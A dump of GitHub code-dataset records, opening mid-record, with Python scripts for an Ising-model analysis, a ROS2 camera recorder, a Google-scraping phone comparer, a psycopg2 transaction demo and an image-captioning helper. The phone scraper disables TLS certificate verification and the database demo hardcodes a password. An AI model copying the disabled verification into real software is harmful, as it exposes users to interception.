plt.ylabel('$T_C / (J/k_B)$')\n plt.xlabel('lattice size')\n save_plot('Finite size scaling, from ' + source)\n return args[0], sqrt(cov[0][0])\n\n\n# -------------------------------------------------------------------------\n\n\ndef investigate_chi(temps, sizes):\n \"\"\"\n Produce a plot of magnetic susceptibility vs temperature.\n Returns list of critical transition temperatures.\n \"\"\"\n plot_magnetic_response(temps)\n t_cs = []\n for size in tqdm(sizes):\n chi_data = array([chi(t, size) for t in tqdm(temps)]).T\n chis, chierrs = chi_data[0], chi_data[1]\n plt.errorbar(temps, chis, yerr=chierrs, label=str(size), fmt='+')\n t_cs.append(temps[argmax(chis)])\n plt.axvline(x=t_c)\n plt.ylabel('susceptibility / spin')\n plt.xlabel('temperature / (J/$k_B$)')\n save_plot('Susceptibility vs Temperature')\n return t_cs\n\n\ndef plot_magnetic_response(temps):\n \"\"\"Plot magnetisation vs H, for different temperatures.\"\"\"\n counts = 0\n p = int(len(temps)/6)\n for t in tqdm(temps):\n chi(t, sz=64, plot_q=(counts%p == 0))\n counts += 1\n plt.ylabel('Magnetisation / spin')\n plt.xlabel('Applied field / (J/$\\mu$)')\n save_plot('Magnetisation vs. external field')\n\n\ndef chi(temp, sz=64, hs=None, plot_q=False):\n \"\"\"\n Compute magnetic susceptibility chi, for given size and temperature.\n \"\"\"\n if hs is None:\n hs = linspace(0.01, 0.1, 20)\n # We don't want the system to equilibrate, because then susceptibility\n # would be infinite.\n tau = smart_duration(temp, multiplier=.01)\n simulations = parmap(\n lambda h: Simulation(duration=tau, temperature=temp,\n lattice_size=sz, magnetic_field=h, ), hs)\n # grain_size=1 avoids hysteresis.\n ms = parmap(lambda s: mean(s.magnetizations()), simulations)\n popt, pcov = polyfit(hs, ms, 1, cov=True)\n if plot_q:\n plt.plot(hs, ms, '.', label='T = {:0.3f}'.format(temp))\n plt.plot(hs[:], float(popt[0])*hs[:] + float(popt[1]), '-',\n label=r'$\\chi = $' '{:0.3f}'.format(popt[0]))\n return [popt[0], pcov[0][0]]\n\n\n# -------------------------------------------------------------------------\n\n\ndef investigate_magnetic_fluctuations(hs, temps=None, skip=3, **kwargs):\n \"\"\"\n Plot the magnetic susceptibility versus temperature for different\n lattice sizes. Find the critical temperature for each H by spline\n interpolation and finding the maximum.\n\n Parameters:\n -----------\n hs: iterable\n\n temps: iterable\n\n **kwargs: keyword_arguments\n Arguments to be passed to multi_run()\n\n Returns:\n List of critical temperatures.\n \"\"\"\n if temps is None:\n temps = append(linspace(1.6, 3.9, 12), linspace(1.8, 2.8, 24))\n temps.sort()\n\n fig, _ = plt.subplots()\n crit_temps, counts = [], 0\n for h in tqdm(hs, desc='External fields.'):\n # get upscaled and smoothed capacity vs temperature data.\n mags, _ = generate_data(temps, hs=h, r1=1, r2=1, **kwargs)\n up_temps, up_mags = upscale(mags, temps)\n main_peak = argmax(up_mags)\n plt.plot(up_temps[main_peak], up_mags[main_peak], 'bo', )\n crit_temps.append(up_temps[main_peak])\n counts += 1\n if counts%skip == 0:\n plt.plot(temps, mags, 'b+', label=r'$\\vec{H}$ = ' + str(h))\n plt.plot(up_temps, up_mags,\n label='N = ' + str(h) + ' smoothed')\n plt.ylabel(r'$\\chi/ (\\mu/J)')\n plt.axvline(x=t_c, ls='-.', color='k')\n plt.xticks(append(linspace(min(temps), t_c, 3),\n linspace(t_c, max(temps), 6)))\n fig.set_size_inches(8.5, 8.5)\n fig.tight_layout()\n plt.xlabel('temperature / (J/$k_B$')\n save_plot('Magnetic susceptibility')\n return crit_temps\n\n# -------------------------------------------------------------------------\n\nsizes = arange(16, 120, 10)\ntemperatures = linspace(1.0, 4, 40)\next_fields = linspace(0.5, 1.2, 5)\n\n\ndef sanity_checks():\n investigate_time_evolution()\n investigate_autocorrelation(sizes, max_t=1*10**2)\n\n\ndef fss_magnetisation():\n critical_temps_M = investigate_magnetisation_critical_transitions(\n lattice_sizes=sizes, re_runs=3)\n temp_inf_m = investigate_finite_size_scaling(critical_temps_M, sizes,\n source='Magnetisation')\n print(temp_inf_m)\n print((t_c - temp_inf_m[1]/temp_inf_m[1]), ' Standard errors away. '\n 'Magnetisation')\n\n\ndef fss_specific_heat():\n critical_temps = investigate_heat_capacity(lattice_sizes=sizes,\n take_last=100000, re_runs=1)\n\n\n temp_inf = investigate_finite_size_scaling(critical_temps, sizes)\n print(temp_inf)\n\n print((t_c - temp_inf[0])/temp_inf[1], ' Standard errors away. '\n 'capacity')\n\n\n# -------------------------------------------------------------------------\ndef external_field():\n print(investigate_chi(temperatures, sizes[::3]))\n investigate_magnetic_fluctuations(hs=ext_fields, take_last=100000,\n re_runs=1)\n\n\nif __name__ == '__main':\n sanity_checks()\n fss_magnetisation()\n fss_specific_heat()\n external_field()\n", "repo_name": "appetrosyan/Ising-Model-simulation", "sub_path": "Ising Model/investigator.py", "file_name": "investigator.py", "file_ext": "py", "file_size_in_byte": 16047, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "matplotlib.rc", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.rc", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 14, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "AnalysisTools.Simulation", "line_number": 55, "usage_type": "call"}, {"api_name": "AnalysisTools.save_plot", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "AnalysisTools.t_c", "line_number": 85, "usage_type": "name"}, {"api_name": "AnalysisTools.t_c", "line_number": 86, "usage_type": "name"}, {"api_name": "AnalysisTools.tqdm", "line_number": 88, "usage_type": "call"}, {"api_name": "AnalysisTools.Simulation", "line_number": 89, "usage_type": "call"}, {"api_name": "AnalysisTools.smart_duration", "line_number": 90, "usage_type": "call"}, {"api_name": "AnalysisTools.parmap", "line_number": 92, "usage_type": "call"}, {"api_name": "AnalysisTools.multi_run", "line_number": 92, "usage_type": "call"}, {"api_name": "AnalysisTools.tqdm", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 97, "usage_type": "call"}, {"api_name": "scipy.optimize.curve_fit", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "numpy.append", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 107, "usage_type": "call"}, {"api_name": "AnalysisTools.t_c", "line_number": 107, "usage_type": "argument"}, {"api_name": "AnalysisTools.save_plot", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "AnalysisTools.tqdm", "line_number": 143, "usage_type": "call"}, {"api_name": "AnalysisTools.tqdm", "line_number": 145, "usage_type": "call"}, {"api_name": "AnalysisTools.Simulation", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "AnalysisTools.save_plot", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 158, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "AnalysisTools.t_c", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "AnalysisTools.save_plot", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 164, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "AnalysisTools.save_plot", "line_number": 168, "usage_type": "call"}, {"api_name": "scipy.interpolate.splrep", "line_number": 173, "usage_type": "call"}, {"api_name": "scipy.optimize.brentq", "line_number": 174, "usage_type": "call"}, {"api_name": "scipy.interpolate.splev", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 174, "usage_type": "call"}, {"api_name": "AnalysisTools.parmap", "line_number": 181, "usage_type": "call"}, {"api_name": "AnalysisTools.auto_cov", "line_number": 181, "usage_type": "call"}, {"api_name": "AnalysisTools.auto_cov", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 222, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 222, "usage_type": "name"}, {"api_name": "AnalysisTools.tqdm", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 233, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 233, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 235, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 236, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 236, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 239, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 239, "usage_type": "name"}, {"api_name": "numpy.append", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 239, "usage_type": "call"}, {"api_name": "AnalysisTools.t_c", "line_number": 239, "usage_type": "argument"}, {"api_name": "numpy.linspace", "line_number": 240, "usage_type": "call"}, {"api_name": "AnalysisTools.t_c", "line_number": 240, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 241, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 241, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 242, "usage_type": "name"}, {"api_name": "AnalysisTools.t_c", "line_number": 242, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 244, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 244, "usage_type": "name"}, {"api_name": "AnalysisTools.save_plot", "line_number": 245, "usage_type": "call"}, {"api_name": "AnalysisTools.Simulation", "line_number": 253, "usage_type": "call"}, {"api_name": "AnalysisTools.parmap", "line_number": 255, "usage_type": "call"}, {"api_name": "AnalysisTools.multi_run", "line_number": 255, "usage_type": "call"}, {"api_name": "AnalysisTools.tqdm", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 258, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 263, "usage_type": "call"}, {"api_name": "scipy.interpolate.splrep", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 273, "usage_type": "call"}, {"api_name": "scipy.interpolate.splev", "line_number": 274, "usage_type": "call"}, {"api_name": "scipy.optimize.curve_fit", "line_number": 295, "usage_type": "call"}, {"api_name": "AnalysisTools.pretty_pm", "line_number": 298, "usage_type": "call"}, {"api_name": "AnalysisTools.pretty_pm", "line_number": 299, "usage_type": "call"}, {"api_name": "AnalysisTools.pretty_pm", "line_number": 300, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 301, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 301, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 302, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 302, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 304, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 304, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 305, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 305, "usage_type": "name"}, {"api_name": "AnalysisTools.save_plot", "line_number": 306, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 307, "usage_type": "call"}, {"api_name": "AnalysisTools.tqdm", "line_number": 320, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 321, "usage_type": "call"}, {"api_name": "AnalysisTools.tqdm", "line_number": 321, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 323, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 323, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 324, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 325, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 325, "usage_type": "name"}, {"api_name": "AnalysisTools.t_c", "line_number": 325, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 326, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 326, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 327, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 327, "usage_type": "name"}, {"api_name": "AnalysisTools.save_plot", "line_number": 328, "usage_type": "call"}, {"api_name": "AnalysisTools.tqdm", "line_number": 336, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 339, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 339, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 340, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 340, "usage_type": "name"}, {"api_name": "AnalysisTools.save_plot", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 349, "usage_type": "call"}, {"api_name": "AnalysisTools.smart_duration", "line_number": 352, "usage_type": "call"}, {"api_name": "AnalysisTools.parmap", "line_number": 353, "usage_type": "call"}, {"api_name": "AnalysisTools.Simulation", "line_number": 354, "usage_type": "call"}, {"api_name": "AnalysisTools.parmap", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.polyfit", "line_number": 358, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 360, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 360, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 361, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 361, "usage_type": "name"}, {"api_name": "numpy.append", "line_number": 388, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 388, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 391, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 391, "usage_type": "name"}, {"api_name": "AnalysisTools.tqdm", "line_number": 393, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 397, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 398, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 398, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 402, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 402, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 403, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 403, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 405, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 405, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 406, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 406, "usage_type": "name"}, {"api_name": "AnalysisTools.t_c", "line_number": 406, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 407, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 407, "usage_type": "name"}, {"api_name": "numpy.append", "line_number": 407, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 407, "usage_type": "call"}, {"api_name": "AnalysisTools.t_c", "line_number": 407, "usage_type": "argument"}, {"api_name": "numpy.linspace", "line_number": 408, "usage_type": "call"}, {"api_name": "AnalysisTools.t_c", "line_number": 408, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 411, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 411, "usage_type": "name"}, {"api_name": "AnalysisTools.save_plot", "line_number": 412, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 417, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 418, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 419, "usage_type": "call"}, {"api_name": "AnalysisTools.t_c", "line_number": 433, "usage_type": "name"}, {"api_name": "AnalysisTools.t_c", "line_number": 445, "usage_type": "name"}]} +{"seq_id": "74163640007", "text": "# This script is for recording images from the camera to collect data for yolo training\n\nimport rclpy\nfrom rclpy.node import Node\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge\nimport cv2\nimport os\nimport time\nimport numpy as np\nfrom rcl_interfaces.msg import ParameterDescriptor\nfrom pathlib import Path\n\nclass Record(Node):\n def __init__(self):\n super().__init__('record')\n self.get_logger().info(\"Record node started\")\n\n self.declare_parameter(\"init_cnt\", 0, ParameterDescriptor(\n name=\"init_cnt\", description=\"initial count of images\"))\n\n self.bridge = CvBridge()\n self.sub = self.create_subscription(Image, '/color/image_raw', self.image_callback, 10)\n self.image = Image()\n\n self.timer = self.create_timer(3.0, self.timer_callback)\n \n self.cnt = self.get_parameter(\"init_cnt\").value\n\n def image_callback(self, msg:Image):\n self.image = msg\n \n def timer_callback(self):\n img = self.bridge.imgmsg_to_cv2(self.image, desired_encoding='bgr8')\n \n save_path = os.path.join(Path.home(), 'Pictures', 'record')\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n cv2.imwrite(os.path.join(save_path, str(self.cnt) + '.jpg'), img)\n self.get_logger().info(\"Saved image %d in %s\" % (self.cnt, save_path))\n self.cnt += 1\n\ndef main(args=None):\n rclpy.init(args=args)\n\n record = Record()\n\n rclpy.spin(record)\n\n record.destroy_node()\n rclpy.shutdown()\n\nif __name__ == '__main__':\n main()\n", "repo_name": "zitongbai/UR5e_Vision_Assemble", "sub_path": "src/vision/vision/record.py", "file_name": "record.py", "file_ext": "py", "file_size_in_byte": 1574, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "rclpy.node.Node", "line_number": 14, "usage_type": "name"}, {"api_name": "rcl_interfaces.msg.ParameterDescriptor", "line_number": 19, "usage_type": "call"}, {"api_name": "cv_bridge.CvBridge", "line_number": 22, "usage_type": "call"}, {"api_name": "sensor_msgs.msg.Image", "line_number": 23, "usage_type": "argument"}, {"api_name": "sensor_msgs.msg.Image", "line_number": 24, "usage_type": "call"}, {"api_name": "sensor_msgs.msg.Image", "line_number": 30, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pathlib.Path.home", "line_number": 36, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 36, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "rclpy.init", "line_number": 44, "usage_type": "call"}, {"api_name": "rclpy.spin", "line_number": 48, "usage_type": "call"}, {"api_name": "rclpy.shutdown", "line_number": 51, "usage_type": "call"}]} +{"seq_id": "3059315669", "text": "from urllib.request import Request, urlopen\nimport urllib.parse, urllib.error\nimport ssl\nfrom bs4 import BeautifulSoup\n\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nphone1 =input('Enter phone 1: ')\nphone2 =input('Enter phone 2: ')\n\nparams = dict()\nquery = phone1 + ' and ' + phone2\n\nparams['q'] = query\n\nserviceurl = 'http://www.google.com/search?'\n\nurl = serviceurl + urllib.parse.urlencode(params)\n\nprint(url)\n\n\n \n\nuh = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\nuhl = urlopen(uh, context=ctx)\ndata = uhl.read().decode()\nsoup = BeautifulSoup(data, 'html.parser')\n\ntags = soup('a')\n\nfor i in range(0,len(tags)):\n target = tags[i].get('href', None)\n a = target.find('gadgetsnow.com')\n if a!=-1:\n print(target)\n break\n\nurl = 'http://www.google.com'+target\n\nuh = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\nuhl = urlopen(uh, context=ctx)\ndata = uhl.read().decode()\nsoup = BeautifulSoup(data, 'html.parser')\n\n\n\nheadings = soup.findAll('div', {'class' : \"compare_hdn\"})\n\n\ni=-1\nbigdata = {}\n\ntables = soup.findAll( \"table\", {\"class\":\"inr_tbl\"} )\n\nfor table in tables:\n i = i+1\n data = {}\n rows = table.findAll('tr')\n for tr in range(0,len(rows)):\n key = rows[tr].find( \"td\", {\"class\":\"title\"} ).text\n values = rows[tr].findAll( \"td\", {\"class\":\"val\"} )\n value1 = values[0].text\n value2 = values[1].text\n l=[]\n l.append(value1)\n l.append(value2)\n data[key] = l\n bigdata[headings[i].text] = data\n\nfor heading in bigdata:\n print(heading,\"\\n\")\n for key in bigdata[heading]:\n print(key,\": \",bigdata[heading][key],\"\\n\")\n print(\"\\n\\n\\n\")\n \n", "repo_name": "elsondsa/PhoneComparison", "sub_path": "comparePhone.py", "file_name": "comparePhone.py", "file_ext": "py", "file_size_in_byte": 1722, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "ssl.create_default_context", "line_number": 6, "usage_type": "call"}, {"api_name": "ssl.CERT_NONE", "line_number": 8, "usage_type": "attribute"}, {"api_name": "urllib.request.parse.urlencode", "line_number": 20, "usage_type": "call"}, {"api_name": "urllib.request.parse", "line_number": 20, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 20, "usage_type": "name"}, {"api_name": "urllib.request.Request", "line_number": 27, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 28, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 30, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 43, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 44, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "19431091363", "text": "import psycopg2 as bd\r\n\r\nconexion = bd.connect(\r\n user = 'postgres',\r\n password = '1004',\r\n host = '127.0.0.1',\r\n port = '5432',\r\n database = 'test_bd'\r\n)\r\nprint(conexion)\r\n\r\ntry:\r\n #conexion.autocommit = False //no deberia estar\r\n cursor = conexion.cursor()\r\n sentencia = 'INSERT INTO persona(nombre, apellido, email)VALUES(%s, %s, %s)'\r\n valores = ('Maria', 'Esparza', 'mesparza@mail.com')\r\n cursor.execute(sentencia, valores)\r\n conexion.commit() #commit manual\r\n print('Termina la transaccion')\r\n\r\nexcept Exception as e:\r\n conexion.rollback()\r\n print(f'Ocurrio un error, se hizo un rollback: {e}')\r\nfinally:\r\n conexion.close()\r\n\r\n# https://www.psycopg.org/docs/usage.html", "repo_name": "CodeSystem2022/Binary-Brains_Tercer-Semestre", "sub_path": "Tecnicatura3_Py/Semana 7/transacciones.py", "file_name": "transacciones.py", "file_ext": "py", "file_size_in_byte": 719, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "16", "api": [{"api_name": "psycopg2.connect", "line_number": 3, "usage_type": "call"}]} +{"seq_id": "20362409707", "text": "import os\nimport requests\nimport random\nimport asyncio\nfrom threading import Thread\nfrom dotenv import load_dotenv as load\nload()\nclass ThreadWithReturnValue(Thread):\n def __init__(self, group=None, target=None, name=None, args=(), kwargs=None, *, daemon=None):\n Thread.__init__(self, group, target, name, args, kwargs, daemon=daemon)\n\n self._return = None\n\n def run(self):\n if self._target is not None:\n self._return = self._target(*self._args, **self._kwargs)\n\n def join(self):\n try:\n Thread.join(self, timeout=5)\n except: ...\n try:\n return self._return\n except:\n return \"\"\nAPI_URLS = [\n \"https://api-inference.huggingface.co/models/Salesforce/blip-image-captioning-large\",\n \"https://api-inference.huggingface.co/models/Salesforce/blip-image-captioning-base\",\n \"https://api-inference.huggingface.co/models/nlpconnect/vit-gpt2-image-captioning\",\n \"https://api-inference.huggingface.co/models/ydshieh/vit-gpt2-coco-en\"\n]\nheaders = {\"Authorization\": os.getenv(\"HUGGING_FACE_TOKEN\")}\n\ndef fetch_response(client, api_url, data):\n print(\"fetching\")\n response = client.post(api_url, headers=headers, data=data, timeout=30)\n \n if response.status_code != 200:\n raise Exception(f\"API request failed with status code {response.status_code}: {response.text}\")\n \n return response.json()[0]['generated_text']\n\nasync def asyncify(func, *args):\n coro = asyncio.to_thread(func, *args)\n task = asyncio.create_task(coro)\n result = await task\n return result\n\nasync def query(filename):\n print(\"starting\")\n with open(filename, \"rb\") as f:\n data = f.read()\n responses = []\n client = requests.Session()\n tasks = [ThreadWithReturnValue(target=fetch_response, args=(client, api_url, data,)) for api_url in API_URLS]\n for task in tasks:\n task.start()\n text_in_image = await OCR.raw(data)\n for task in tasks:\n responses.append(task.join())\n data = \"\"\n for i in responses:\n try:\n data = data + \" \" + i\n except:\n ...\n # responses = await asyncio.gather(*tasks, return_exceptions=True)\n\n return data + \". The image contains\" + text_in_image\n\ndef download_image(image_url, save_as):\n client = requests.Session()\n response = client.get(image_url)\n with open(save_as, \"wb\") as f:\n f.write(response.content)\n\nasync def main():\n await asyncify(download_image, \"https://easydrawingart.com/wp-content/uploads/2022/10/How-to-Draw-Donald-Duck1.jpg\", \"download.png\")\n res = await query(\"download.png\")\n print(res)\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n\nasync def image_recognition(url):\n file = random.randint(0, 1000000)\n await asyncify(download_image, url, f\"{file}.png\")\n res = await query(f\"{file}.png\")\n os.remove(f\"{file}.png\")\n return res\n\nclass OCR:\n async def raw(raw):\n res = await asyncify(OCR.raw_coro, raw)\n return res\n def raw_coro(raw):\n r = requests.post(\n 'https://api.api-ninjas.com/v1/imagetotext',\n files={'image': raw},\n headers={\n 'X-Api-Key':\n os.getenv(\"API_NINJAS_KEY\")\n }\n )\n res = r.json()\n text = []\n for i in res:\n text.append(i[\"text\"])\n text2 = ' '.join(text)\n\n return (\" the text \" + text2.strip()) if text2.strip() != \"\" else (\" no text.\")", "repo_name": "EricPanDev/youreanidiot", "sub_path": "trianglelabs/image_recognition.py", "file_name": "image_recognition.py", "file_ext": "py", "file_size_in_byte": 3558, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 7, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 